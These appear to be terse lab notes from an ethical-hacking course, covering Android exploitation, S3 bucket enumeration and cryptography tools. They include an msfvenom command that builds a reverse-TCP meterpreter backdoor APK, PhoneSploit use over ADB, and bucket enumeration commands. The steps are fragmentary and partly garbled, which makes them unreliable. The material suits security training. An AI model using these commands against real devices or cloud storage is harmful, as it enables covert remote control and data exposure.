Lab 1: Hack Android Devices

Task 1: Hack an Android Device by Creating Binary Payloads using Parrot Security

$ msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=10.10.10.13 R > Backdoor.apk

apache za delivery....

multi handler....

Task 4: Exploit the Android Platform through ADB using PhoneSploit

$ python3 phonesploit.py

ip address = name....

$ 4
$ exit
$ p
$ b
$

NetCut (http://www.arcai.com), drozer (https://labs.f-secure.com), zANTI (https://www.zimperium.com), Network Spoofer (https://www.digitalsquid.co.uk), and DroidSheep (https://droidsheep.info)

Lab2

Lab 2: Secure Android Devices using Various Android Security Tools

Task 1: Analyze a Malicious App using Online Android Analyzers

https://www.sisik.eu/apk-tool

SandDroid (http://sanddroid.xjtu.edu.cn), Apktool (http://www.javadecompilers.com), and Apprisk Scanner (https://apprisk.newskysecurity.com)

Task 2: Analyze a Malicious App using Quixxi Vulnerability Scanner

https://vulnerabilitytest.quixxi.com/#/

X-Ray (https://duo.com), Vulners Scanner (https://play.google.com), Shellshock Vulnerability Scan (https://play.google.com), Yaazhini (https://www.vegabird.com), and Quick Android Review Kit (QARK) (https://github.com)

M18

Module 18: IoT and OT Hacking

M19

Module 19: Cloud Computing

Lab1

Lab 1: Perform S3 Bucket Enumeration using Various S3 Bucket Enumeration Tools

Task 1: Enumerate S3 Buckets using lazys3

$ ruby lazys3.rb
$ ruby lazys3.rb hackerone

Task 2: Enumerate S3 Buckets using S3Scanner

$ python3 s3scanner.py sites.txt

M20

Module 20: Cryptography

Lab1

Lab 1: Encrypt the Information using Various Cryptography Tools

Task 1: Calculate One-way Hashes using HashCalc

$ hashcalc

Task 2: Calculate MD5 Hashes using MD5 Calculator

$ md5calc

Task 3: Calculate MD5 Hashes using HashMyFiles

$ hashmyfiles

Task 4: Perform File and Text Message Encryption using CryptoForge

$ cryptoforge

Task 5: Encrypt and Decrypt Data using BCTextEncoder

$ BCTextEncoder

AxCrypt (https://www.axcrypt.net), Microsoft Cryptography Tools (https://docs.microsoft.com), and Concealer (https://www.belightsoft.com)

Lab4

Lab 4: Perform Disk Encryption

Task 1: Perform Disk Encryption using VeraCrypt

$ veracypt

Lab5

Lab 5: Perform Cryptanalysis using Various Cryptanalysis Tools

Task 1: Perform Cryptanalysis using CrypTool

$ cryptool

File, New, Enncypt, RC2
$ 05
File, Open, Decrypt, RC2
$ 05

File, New, Encrypt, Triple DES(ECB)
$ 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12
File, Open,Decrypt, Triple DES(ECB)
$ 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12